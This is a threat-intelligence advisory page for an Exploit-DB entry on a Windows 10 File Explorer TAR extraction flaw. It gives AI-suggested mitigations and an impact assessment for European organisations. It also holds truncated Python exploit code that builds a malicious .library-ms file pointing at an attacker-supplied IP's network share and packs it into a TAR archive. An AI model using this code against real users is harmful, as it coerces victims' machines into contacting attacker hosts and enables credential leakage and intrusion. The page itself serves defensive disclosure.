ExploitPublished 13 Jun 2025

Windows File Explorer Windows 10 Pro x64 · TAR Extraction

Source Exploit-DB RSS Feed

Severity

Medium

Rated by Threat Radar

Data as of 19 Jun 2025, 19:53 UTC

What to do

AI-suggested

Restrict the use of .library-ms files and monitor their creation and usage within the network to detect anomalous activity.
Implement strict network segmentation and access controls to limit the ability of Windows File Explorer to access unauthorized network shares, especially those originating from untrusted or external IP addresses.
Educate users to avoid opening or extracting TAR archives received from untrusted sources, emphasizing the risks associated with such files.
Deploy endpoint detection and response (EDR) solutions capable of monitoring and alerting on suspicious file extraction activities and network share accesses initiated by Windows Explorer.
Use application whitelisting to prevent execution or processing of unauthorized scripts or files that could facilitate this exploit.
Monitor network traffic for unusual SMB or file share connection attempts, particularly those initiated by client machines to unexpected IP addresses.
Regularly review and harden Windows File Explorer and related system configurations to minimize attack surface, including disabling unnecessary network discovery features if not required.
Since no patches are currently available, maintain close monitoring of vendor advisories and apply updates promptly once released.

Description

Windows File Explorer Windows 10 Pro x64 - TAR Extraction

Impact

For European organizations, this exploit poses a moderate risk primarily due to the widespread use of Windows 10 Pro x64 in enterprise environments. The ability to coerce Windows File Explorer into accessing attacker-controlled network shares can lead to several potential impacts: unauthorized data access or leakage if sensitive files are exposed via the network share; lateral movement within corporate networks if attackers can leverage the network access to deploy further payloads; and potential remote code execution if combined with other vulnerabilities or misconfigurations. The exploit's reliance on user interaction (extracting or opening the TAR file) means phishing or social engineering campaigns could be used to deliver the payload. Given the exploit targets a native Windows component, it could bypass some traditional endpoint protections. The absence of known patches increases the window of vulnerability. European organizations with complex network shares and extensive use of Windows libraries are particularly at risk. Additionally, sectors with high-value intellectual property or critical infrastructure could face targeted attacks leveraging this exploit to gain footholds or exfiltrate data.

Indicators of compromise

Exploit source code

Exploit code for Windows File Explorer Windows 10 Pro x64 - TAR Extraction939 characters

import os
import tarfile

def main():
    file_name = input("Enter your file name: ")
    ip_address = input("Enter IP (EX: 192.168.1.162): ")

    library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{ip_address}\\IT</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDesc…

References

Community reviews

Loading reviews…